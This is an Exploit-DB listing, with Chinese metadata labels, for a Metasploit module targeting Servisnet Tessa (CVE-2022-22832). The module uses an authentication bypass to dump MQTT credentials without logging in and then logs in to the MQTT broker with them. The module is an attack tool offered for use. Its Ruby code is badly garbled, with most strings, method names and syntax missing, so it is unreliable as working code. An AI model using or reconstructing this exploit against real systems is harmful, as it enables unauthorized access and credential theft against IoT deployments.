标题: Servisnet Tessa - MQTT Credentials Dump (Unauthenticated) (Metasploit) EDB-ID: 50713 CVE: 2022-22832 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2022-02-04 漏洞利用脚本: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/mqtt'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::MQTT
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include 

   info  
    info
                  
           
          exploits  creds dump vulnerability   
   appjs is publicly available which acts as the backend of the application
                 exposing a default value  the   header 
                it is possible to make unauthenticated requests to some areas of the application 
                     protocol connection information can be obtained with this method
                   user can be added to the database with this header obtained  the source code 

          tries to log  to the  service with the credentials it has obtained 
         reflects the response it receives from the service 

      
           
        
             
             
             
        
               
        
           
        
               
        
       
        
            
              
        
    

    
            
    
  
  
   data string_to_split  
    word  data
    string  word
     string
   

   check_mqtt
   res  
   
           target_uripath  
     
      
 
    res  rescode    resbody  
      data  resbody
      
      mqtt_host  data
      rhost  mqtt_host
        
      mqtt_port  data
       
      mqtt_end  data
       
      mqtt_cl  data
      
      mqtt_usr  data
      
      mqtt_pass  data
      

      

      
      cred_collection  
        password mqtt_pass
        username mqtt_usr
      
      
      cred_collection  cred_collection

      scanner  
        host rhost
        port mqtt_port
        read_timeout datastore
        client_id client_id
        proxies datastore
        cred_details cred_collection
        stop_on_success datastore
        bruteforce_speed datastore
        connection_timeout datastore
        max_send_size datastore
        send_delay datastore
        framework framework
        framework_module 
        ssl datastore
        ssl_version datastore
        ssl_verify_mode datastore
        ssl_cipher datastore
        local_port datastore
        local_host datastore
      

      scannerscan  result
        credential_data  resultto_h
        credential_datamerge
          module_fullname fullname
          workspace_id myworkspace_id
        
        password  resultcredential
        username  resultcredential
         resultsuccess
          credential_core  credential_data
          credential_data  credential_core
          credential_data
          
        
          credential_data
          
        
      
     
  

   auth_bypass
    res  
    
            target_uripath  
      
       
 
     res  rescode    resbody  
     token  resbody 
       
      token
    
      
    
  

   check   
     auth_bypass   
       
    
       
    
  
  
   run
       check
       
    
    check_mqtt URL: https://www.exploit-db.com/exploits/50713